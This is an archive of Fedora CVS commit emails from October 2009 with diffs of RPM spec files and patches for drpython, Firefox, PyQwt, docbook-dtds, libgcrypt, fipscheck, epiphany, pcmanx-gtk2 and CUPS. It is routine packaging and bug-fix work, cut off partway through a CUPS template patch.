Message-ID: <20091027141701.472C011C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18331/F-11

Modified Files:
	drpython.spec import.log 
Log Message:
Fix upgrade path hopefully




Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-11/drpython.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- drpython.spec	27 Oct 2009 13:55:00 -0000	1.7
+++ drpython.spec	27 Oct 2009 14:17:01 -0000	1.8
@@ -1,7 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
 Version:        3.11.1
-Release:        1%{?dist}
+Release:        2%{?dist}
+Epoch:          1
 Summary:        A simple Python IDE designed with teaching in mind
 Group:          Development/Tools
 License:        GPLv2+
@@ -79,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.1-2
+- Fix upgrade path cause I'm dumb
+
 * Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
 - Fixed drpython desktop file which solves bz 487798
 - New upstream release which fixes a lot of bugs refer to Changelog


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	27 Oct 2009 13:55:00 -0000	1.2
+++ import.log	27 Oct 2009 14:17:01 -0000	1.3
@@ -1,2 +1,3 @@
 drpython-3_11_0-5_fc11:F-11:drpython-3.11.0-5.fc11.src.rpm:1244942474
 drpython-3_11_1-1_fc12:F-11:drpython-3.11.1-1.fc12.src.rpm:1256651656
+drpython-3_11_1-2_fc12:F-11:drpython-3.11.1-2.fc12.src.rpm:1256652991



From mwiriadi at fedoraproject.org  Tue Oct 27 14:17:56 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 14:17:56 +0000 (UTC)
Subject: rpms/drpython/F-10 drpython.spec,1.4,1.5 import.log,1.1,1.2
Message-ID: <20091027141756.DFF8F11C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18549/F-10

Modified Files:
	drpython.spec import.log 
Log Message:
Fix upgrade path




Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-10/drpython.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- drpython.spec	27 Oct 2009 14:08:26 -0000	1.4
+++ drpython.spec	27 Oct 2009 14:17:56 -0000	1.5
@@ -1,7 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
 Version:        3.11.1
-Release:        1%{?dist}
+Release:        2%{?dist}
+Epoch:          1
 Summary:        A simple Python IDE designed with teaching in mind
 Group:          Development/Tools
 License:        GPLv2+
@@ -79,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.1-2
+- Fix upgrade path cause I'm dumb
+
 * Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
 - Fixed drpython desktop file which solves bz 487798
 - New upstream release which fixes a lot of bugs refer to Changelog


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-10/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	27 Oct 2009 14:08:26 -0000	1.1
+++ import.log	27 Oct 2009 14:17:56 -0000	1.2
@@ -1 +1,2 @@
 drpython-3_11_1-1_fc12:F-10:drpython-3.11.1-1.fc12.src.rpm:1256652426
+drpython-3_11_1-2_fc12:F-10:drpython-3.11.1-2.fc12.src.rpm:1256653043



From xhorak at fedoraproject.org  Tue Oct 27 14:18:11 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:18:11 +0000 (UTC)
Subject: rpms/firefox/F-10 .cvsignore, 1.104, 1.105 firefox.spec, 1.329,
	1.330 sources, 1.121, 1.122
Message-ID: <20091027141811.D7BA211C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/firefox/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18656

Modified Files:
	.cvsignore firefox.spec sources 
Log Message:
Update to 3.0.15


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-10/.cvsignore,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- .cvsignore	9 Sep 2009 12:53:56 -0000	1.104
+++ .cvsignore	27 Oct 2009 14:18:11 -0000	1.105
@@ -6,3 +6,5 @@ firefox-3.0.13-source.tar.bz2
 firefox-langpacks-3.0.13-20090731.tar.bz2
 firefox-3.0.14-source.tar.bz2
 firefox-langpacks-3.0.14-20090825.tar.bz2
+firefox-3.0.15-source.tar.bz2
+firefox-langpacks-3.0.15-20091019.tar.bz2


Index: firefox.spec
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-10/firefox.spec,v
retrieving revision 1.329
retrieving revision 1.330
diff -u -p -r1.329 -r1.330
--- firefox.spec	9 Sep 2009 12:53:56 -0000	1.329
+++ firefox.spec	27 Oct 2009 14:18:11 -0000	1.330
@@ -5,7 +5,7 @@
 
 %define mozappdir            %{_libdir}/%{name}-%{version}
 
-%define gecko_version 1.9.0.14
+%define gecko_version 1.9.0.15
 
 %define official_branding    1
 %define build_langpacks      1
@@ -17,7 +17,7 @@
 
 Summary:        Mozilla Firefox Web browser
 Name:           firefox
-Version:        3.0.14
+Version:        3.0.15
 Release:        1%{?dist}
 URL:            http://www.mozilla.org/projects/firefox/
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
@@ -29,7 +29,7 @@ Group:          Applications/Internet
 %endif
 Source0:        %{tarball}
 %if %{build_langpacks}
-Source2:        firefox-langpacks-%{version}-20090825.tar.bz2
+Source2:        firefox-langpacks-%{version}-2001019.tar.bz2
 %endif
 Source10:       firefox-mozconfig
 Source11:       firefox-mozconfig-branded
@@ -323,6 +323,9 @@ fi
 #---------------------------------------------------------------------
 
 %changelog
+* Mon Oct 26 2009 Jan Horak <jhorak at redhat.com> - 3.0.15-1
+- Update to 3.0.15
+
 * Mon Sep  7 2009 Jan Horak <jhorak at redhat.com> - 3.0.14-1
 - Update to 3.0.14
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/firefox/F-10/sources,v
retrieving revision 1.121
retrieving revision 1.122
diff -u -p -r1.121 -r1.122
--- sources	9 Sep 2009 12:53:56 -0000	1.121
+++ sources	27 Oct 2009 14:18:11 -0000	1.122
@@ -1,2 +1,2 @@
-fd867be30a47c9c8a82cf3a266740727  firefox-3.0.14-source.tar.bz2
-d230a7433de4abcda53eab0199b14a95  firefox-langpacks-3.0.14-20090825.tar.bz2
+7f6c1106600d769f3fb822669f9dcca2  firefox-3.0.15-source.tar.bz2
+8673c7ddcc9d6878c27c7cd0e064a7d3  firefox-langpacks-3.0.15-20091019.tar.bz2



From mwiriadi at fedoraproject.org  Tue Oct 27 14:18:47 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 14:18:47 +0000 (UTC)
Subject: rpms/drpython/F-12 drpython.spec,1.8,1.9 import.log,1.2,1.3
Message-ID: <20091027141847.DD17011C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18762/F-12

Modified Files:
	drpython.spec import.log 
Log Message:
Fix upgrade path




Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-12/drpython.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- drpython.spec	27 Oct 2009 13:56:16 -0000	1.8
+++ drpython.spec	27 Oct 2009 14:18:47 -0000	1.9
@@ -1,7 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
 Version:        3.11.1
-Release:        1%{?dist}
+Release:        2%{?dist}
+Epoch:          1
 Summary:        A simple Python IDE designed with teaching in mind
 Group:          Development/Tools
 License:        GPLv2+
@@ -79,6 +80,9 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.1-2
+- Fix upgrade path cause I'm dumb
+
 * Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1
 - Fixed drpython desktop file which solves bz 487798
 - New upstream release which fixes a lot of bugs refer to Changelog


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/F-12/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	27 Oct 2009 13:56:16 -0000	1.2
+++ import.log	27 Oct 2009 14:18:47 -0000	1.3
@@ -1,2 +1,3 @@
 drpython-3_11_0-5_fc11:HEAD:drpython-3.11.0-5.fc11.src.rpm:1244942292
 drpython-3_11_1-1_fc12:F-12:drpython-3.11.1-1.fc12.src.rpm:1256651729
+drpython-3_11_1-2_fc12:F-12:drpython-3.11.1-2.fc12.src.rpm:1256653099



From mwiriadi at fedoraproject.org  Tue Oct 27 14:19:37 2009
From: mwiriadi at fedoraproject.org (Marc Wiriadisastra)
Date: Tue, 27 Oct 2009 14:19:37 +0000 (UTC)
Subject: rpms/drpython/devel drpython.spec,1.9,1.10 import.log,1.3,1.4
Message-ID: <20091027141937.EC33011C00E6@cvs1.fedora.phx.redhat.com>

Author: mwiriadi

Update of /cvs/pkgs/rpms/drpython/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19029/devel

Modified Files:
	drpython.spec import.log 
Log Message:
Fix upgrade path




Index: drpython.spec
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/drpython.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- drpython.spec	27 Oct 2009 14:14:02 -0000	1.9
+++ drpython.spec	27 Oct 2009 14:19:37 -0000	1.10
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 Name:           drpython
 Version:        3.11.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Epoch:          1
 Summary:        A simple Python IDE designed with teaching in mind
 Group:          Development/Tools
@@ -80,7 +80,7 @@ rm -rf $RPM_BUILD_ROOT
 %exclude %{python_sitelib}/%{name}/postinst.py
 
 %changelog
-* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.1-1
+* Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 1:3.11.1-2
 - Fix upgrade path cause I'm dumb
 
 * Tue Oct 27 2009 Marc Wiriadisastra <marc at mwiriadi.id.au> - 3.11.1-1


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/drpython/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	27 Oct 2009 14:14:02 -0000	1.3
+++ import.log	27 Oct 2009 14:19:37 -0000	1.4
@@ -1,3 +1,4 @@
 drpython-3_11_0-5_fc11:HEAD:drpython-3.11.0-5.fc11.src.rpm:1244942292
 drpython-3_11_1-1_fc12:HEAD:drpython-3.11.1-1.fc12.src.rpm:1256651529
 drpython-3_11_1-1_fc12:HEAD:drpython-3.11.1-1.fc12.src.rpm:1256652798
+drpython-3_11_1-2_fc12:HEAD:drpython-3.11.1-2.fc12.src.rpm:1256653149



From tadej at fedoraproject.org  Tue Oct 27 14:22:58 2009
From: tadej at fedoraproject.org (=?utf-8?q?Tadej_Jane=C5=BE?=)
Date: Tue, 27 Oct 2009 14:22:58 +0000 (UTC)
Subject: rpms/PyQwt/F-11 PyQwt.spec,1.3,1.4
Message-ID: <20091027142258.2C8F211C00E6@cvs1.fedora.phx.redhat.com>

Author: tadej

Update of /cvs/pkgs/rpms/PyQwt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19491

Modified Files:
	PyQwt.spec 
Log Message:
Fixed a typo in the %changelog.




Index: PyQwt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PyQwt/F-11/PyQwt.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- PyQwt.spec	23 Sep 2009 12:59:51 -0000	1.3
+++ PyQwt.spec	27 Oct 2009 14:22:57 -0000	1.4
@@ -86,7 +86,7 @@ rm -rf %{buildroot}
 * Wed Sep 23 2009 Tadej Jane? <tadej.janez at tadej.hicsalta.si> 5.2.0-1
 - upgrade to version 5.2.0, which supports newer versions of Qwt, PyQt4
   and SIP (fixes RH bug #520095)
-- included new Sphinx genereted pdf and html documentation in -devel subpackage
+- included new Sphinx generated pdf and html documentation in -devel subpackage
 - made qplt.py executable (to fix a rpmlint error)
 - changed BuildRequires from numpy to numpy-f2py to cope with the numpy
   package split



From ovasik at fedoraproject.org  Tue Oct 27 14:34:02 2009
From: ovasik at fedoraproject.org (Ondrej Vasik)
Date: Tue, 27 Oct 2009 14:34:02 +0000 (UTC)
Subject: rpms/docbook-dtds/devel docbook-dtds.spec,1.33,1.34
Message-ID: <20091027143402.6AA6D11C00E6@cvs1.fedora.phx.redhat.com>

Author: ovasik

Update of /cvs/extras/rpms/docbook-dtds/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20768

Modified Files:
	docbook-dtds.spec 
Log Message:
do not obsolete self


Index: docbook-dtds.spec
===================================================================
RCS file: /cvs/extras/rpms/docbook-dtds/devel/docbook-dtds.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- docbook-dtds.spec	24 Jul 2009 20:25:17 -0000	1.33
+++ docbook-dtds.spec	27 Oct 2009 14:34:00 -0000	1.34
@@ -3,7 +3,7 @@
 
 Name: docbook-dtds
 Version: 1.0
-Release: 48%{?dist}
+Release: 49%{?dist}
 Group: Applications/Text
 
 Summary: SGML and XML document type definitions for DocBook
@@ -11,11 +11,11 @@ Summary: SGML and XML document type defi
 License: Freely redistributable without restriction
 URL: http://www.oasis-open.org/docbook/
 
-Obsoletes: docbook-dtd30-sgml <= %{version}-%{release}
-Obsoletes: docbook-dtd31-sgml <= %{version}-%{release}
-Obsoletes: docbook-dtd40-sgml <= %{version}-%{release}
-Obsoletes: docbook-dtd41-sgml <= %{version}-%{release}
-Obsoletes: docbook-dtd412-xml <= %{version}-%{release}
+Obsoletes: docbook-dtd30-sgml < %{version}-%{release}
+Obsoletes: docbook-dtd31-sgml < %{version}-%{release}
+Obsoletes: docbook-dtd40-sgml < %{version}-%{release}
+Obsoletes: docbook-dtd41-sgml < %{version}-%{release}
+Obsoletes: docbook-dtd412-xml < %{version}-%{release}
 
 Provides: docbook-dtd-xml = %{version}-%{release}
 Provides: docbook-dtd-sgml = %{version}-%{release}
@@ -403,6 +403,9 @@ do
 done
 
 %changelog
+* Tue Oct 27 2009 Ondrej Vasik <ovasik at redhat.com> - 1.0-49
+- do not obsolete self
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0-48
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From tmraz at fedoraproject.org  Tue Oct 27 14:36:08 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Tue, 27 Oct 2009 14:36:08 +0000 (UTC)
Subject: rpms/libgcrypt/devel libgcrypt.spec,1.40,1.41
Message-ID: <20091027143608.7AC5011C00E6@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/libgcrypt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21411

Modified Files:
	libgcrypt.spec 
Log Message:
Drop dot from summary



Index: libgcrypt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgcrypt/devel/libgcrypt.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- libgcrypt.spec	11 Aug 2009 12:41:05 -0000	1.40
+++ libgcrypt.spec	27 Oct 2009 14:36:08 -0000	1.41
@@ -22,7 +22,7 @@ BuildRequires: fipscheck
 Group: System Environment/Libraries
 
 %package devel
-Summary: Development files for the %{name} package.
+Summary: Development files for the %{name} package
 Group: Development/Libraries
 PreReq: /sbin/install-info
 Requires: libgpg-error-devel



From tmraz at fedoraproject.org  Tue Oct 27 14:36:54 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Tue, 27 Oct 2009 14:36:54 +0000 (UTC)
Subject: rpms/fipscheck/devel fipscheck.spec,1.8,1.9
Message-ID: <20091027143654.3F02B11C00E6@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/fipscheck/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21611

Modified Files:
	fipscheck.spec 
Log Message:
* Tue Oct 27 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.0-4
- ldconfig must be in the lib subpackage post(un)



Index: fipscheck.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fipscheck/devel/fipscheck.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- fipscheck.spec	21 Aug 2009 13:23:17 -0000	1.8
+++ fipscheck.spec	27 Oct 2009 14:36:53 -0000	1.9
@@ -1,7 +1,7 @@
 Summary:	A library for integrity verification of FIPS validated modules
 Name:		fipscheck
 Version:	1.2.0
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	BSD
 Group:		System Environment/Libraries
 # This is a Red Hat maintained package which is specific to
@@ -66,9 +66,9 @@ find $RPM_BUILD_ROOT -type f -name "*.la
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%post -p /sbin/ldconfig
+%post lib -p /sbin/ldconfig
 
-%postun -p /sbin/ldconfig
+%postun lib -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libfipscheck.so
 
 %changelog
+* Tue Oct 27 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.0-4
+- ldconfig must be in the lib subpackage post(un)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.0-3
 - rebuilt with new openssl
 



From xhorak at fedoraproject.org  Tue Oct 27 14:37:04 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:37:04 +0000 (UTC)
Subject: rpms/epiphany/F-11 epiphany.spec,1.234,1.235
Message-ID: <20091027143704.70C7211C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/epiphany/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21682

Modified Files:
	epiphany.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.3-5
- Rebuild against newer gecko



Index: epiphany.spec
===================================================================
RCS file: /cvs/pkgs/rpms/epiphany/F-11/epiphany.spec,v
retrieving revision 1.234
retrieving revision 1.235
diff -u -p -r1.234 -r1.235
--- epiphany.spec	9 Sep 2009 13:58:22 -0000	1.234
+++ epiphany.spec	27 Oct 2009 14:37:04 -0000	1.235
@@ -1,4 +1,4 @@
-%define gecko_ver 1.9.1.3
+%define gecko_ver 1.9.1.4
 %define desktop_file_utils_version 0.9
 %define glib2_devel_ver 2.18.0
 %define gtk2_devel_ver 2.15.1
@@ -8,7 +8,7 @@
 Summary: Web browser for GNOME
 Name: epiphany
 Version: 2.26.3
-Release: 4%{?dist}
+Release: 5%{?dist}
 %define major_version 2.26
 Provides: epiphany(abi) = %{major_version}
 License: GPLv2+ and GFDL
@@ -253,6 +253,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/pygtk/2.0/defs/epiphany.defs
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 2.26.3-5
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 2.26.3-4
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 14:42:51 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:42:51 +0000 (UTC)
Subject: rpms/pcmanx-gtk2/F-11 pcmanx-gtk2.spec,1.15,1.16
Message-ID: <20091027144251.68A5011C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/pcmanx-gtk2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22680

Modified Files:
	pcmanx-gtk2.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.3.8-9
- Rebuild against newer gecko



Index: pcmanx-gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pcmanx-gtk2/F-11/pcmanx-gtk2.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- pcmanx-gtk2.spec	9 Sep 2009 14:03:17 -0000	1.15
+++ pcmanx-gtk2.spec	27 Oct 2009 14:42:51 -0000	1.16
@@ -2,12 +2,12 @@
 # We hardcode this here because everytime xulrunner increments
 # it tends to break things that depend on it.
 %define xulmajorver 1.9
-%define xulver 1.9.1.3
+%define xulver 1.9.1.4
 
 Summary:   Telnet client designed for BBS browsing
 Name:      pcmanx-gtk2
 Version:   0.3.8
-Release:   8%{?dist}
+Release:   9%{?dist}
 License:   GPLv2+
 Group:     Applications/Internet
 Source0:   http://pcmanx.csie.net/release/%{name}-%{version}.tar.bz2
@@ -130,6 +130,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/mozilla/plugins/
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.3.8-9
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 0.3.8-8
 - Rebuild against newer gecko
 



From jpopelka at fedoraproject.org  Tue Oct 27 14:43:10 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 27 Oct 2009 14:43:10 +0000 (UTC)
Subject: rpms/cups/devel cups-str3285_v2.patch, NONE, 1.1 cups-str3390.patch,
	NONE, 1.1 cups-str3391.patch, NONE, 1.1 cups-str3396.patch, NONE,
	1.1 cups.spec, 1.529, 1.530
Message-ID: <20091027144310.34F6F11C00E6@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/cups/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22829

Modified Files:
	cups.spec 
Added Files:
	cups-str3285_v2.patch cups-str3390.patch cups-str3391.patch 
	cups-str3396.patch 
Log Message:
* Tue Oct 27 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-13
- Fix incorrectly applied patch from #STR3285 (bug #531108).
- Set the PRINTER_IS_SHARED variable for admin.cgi (bug #529634, #STR3390).
- Pass through serial parameters correctly in web interface (bug #529635, #STR3391).
- Fixed German translation (bug #531144, #STR3396).


cups-str3285_v2.patch:
 dest.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3285_v2.patch ---
diff -up cups-1.4.1/cups/dest.c.str3285 cups-1.4.1/cups/dest.c
--- cups-1.4.1/cups/dest.c.str3285	2009-10-27 12:50:04.560012076 +0000
+++ cups-1.4.1/cups/dest.c	2009-10-27 12:50:23.814012173 +0000
@@ -549,7 +549,7 @@ cupsGetNamedDest(http_t     *http,	/* I 
 
   if (!cups_get_sdests(http, op, name, 0, &dest))
   {
-    if (op == CUPS_GET_DEFAULT)
+    if (op == CUPS_GET_DEFAULT || name)
       return (NULL);
 
    /*

cups-str3390.patch:
 admin.c |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE cups-str3390.patch ---
diff -up cups-1.4.1/cgi-bin/admin.c.str3390 cups-1.4.1/cgi-bin/admin.c
--- cups-1.4.1/cgi-bin/admin.c.str3390	2009-08-29 08:05:14.000000000 +0200
+++ cups-1.4.1/cgi-bin/admin.c	2009-10-27 14:44:53.000000000 +0100
@@ -1044,6 +1044,11 @@ do_am_printer(http_t *http,		/* I - HTTP
         if ((attr = ippFindAttribute(oldinfo, "printer-location",
 	                             IPP_TAG_TEXT)) != NULL)
           cgiSetVariable("PRINTER_LOCATION", attr->values[0].string.text);
+
+	if ((attr = ippFindAttribute(oldinfo, "printer-is-shared",
+				     IPP_TAG_BOOLEAN)) != NULL)
+	  cgiSetVariable("PRINTER_IS_SHARED",
+			 attr->values[0].boolean ? "1" : "0");
       }
 
       cgiCopyTemplateLang("modify-printer.tmpl");

cups-str3391.patch:
 add-printer.tmpl       |    4 ++++
 de/add-printer.tmpl    |    4 ++++
 de/modify-printer.tmpl |    4 ++++
 es/add-printer.tmpl    |    4 ++++
 es/modify-printer.tmpl |    4 ++++
 eu/add-printer.tmpl    |    4 ++++
 eu/modify-printer.tmpl |    4 ++++
 ja/add-printer.tmpl    |    4 ++++
 ja/modify-printer.tmpl |    4 ++++
 modify-printer.tmpl    |    4 ++++
 pl/add-printer.tmpl    |    4 ++++
 pl/modify-printer.tmpl |    4 ++++
 ru/add-printer.tmpl    |    4 ++++
 ru/modify-printer.tmpl |    4 ++++
 14 files changed, 56 insertions(+)

--- NEW FILE cups-str3391.patch ---
diff -up cups-1.4.1/templates/add-printer.tmpl.str3391 cups-1.4.1/templates/add-printer.tmpl
--- cups-1.4.1/templates/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/add-printer.tmpl	2009-10-27 15:08:45.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/de/add-printer.tmpl.str3391 cups-1.4.1/templates/de/add-printer.tmpl
--- cups-1.4.1/templates/de/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/de/add-printer.tmpl	2009-10-27 15:08:56.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/de/modify-printer.tmpl.str3391 cups-1.4.1/templates/de/modify-printer.tmpl
--- cups-1.4.1/templates/de/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/de/modify-printer.tmpl	2009-10-27 15:10:28.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/es/add-printer.tmpl.str3391 cups-1.4.1/templates/es/add-printer.tmpl
--- cups-1.4.1/templates/es/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/es/add-printer.tmpl	2009-10-27 15:09:02.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
